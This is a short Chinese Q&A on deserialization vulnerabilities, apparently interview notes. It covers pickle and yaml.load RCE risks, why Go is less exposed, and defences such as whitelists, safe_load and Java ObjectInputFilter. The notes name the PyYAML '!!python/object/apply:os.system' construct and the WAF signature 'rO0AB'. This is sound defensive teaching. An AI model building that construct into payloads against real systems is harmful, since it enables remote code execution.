Python pickle 为什么危险?pickle 是 opcode 虚拟机,__reduce__ 返回的 callable 在 loads 时直接执行。pickle 设计上就不是数据格式而是对象序列化协议,输入不可信 = 无条件 RCE,不需要任何 gadget 配合。同理 torch.load/joblib.load 加载不可信模型也是 RCE。
yaml.load 安全吗?不安全,唯一安全写法是 yaml.safe_load 或显式 Loader=yaml.SafeLoader。PyYAML < 5.1 默认 Loader 可用 !!python/object/apply:os.system 构造任意对象;≥5.1 默认 FullLoader 安全得多但仍非绝对安全,统一用 safe_load 最稳。
为什么 Go 反序列化漏洞少见?静态强类型 + gob 需显式注册类型 + 无动态类加载,重建只填字段不调任意方法。没有 PHP 魔术方法那样的自动回调,也没有 Java 那样的运行时类加载,攻击面只剩”已注册类型的字段污染”,形不成通用 RCE 链。面试答出这三点就够。
怎么防御?首选不反序列化不可信数据,其次白名单,升级依赖,RASP 兜底。白名单落地:PHP allowed_classes、Java JEP 290 ObjectInputFilter/SerialKiller、Python 重写 find_class、YAML 用 safe_load。WAF 特征(rO0AB 等)只能缓解不能根治。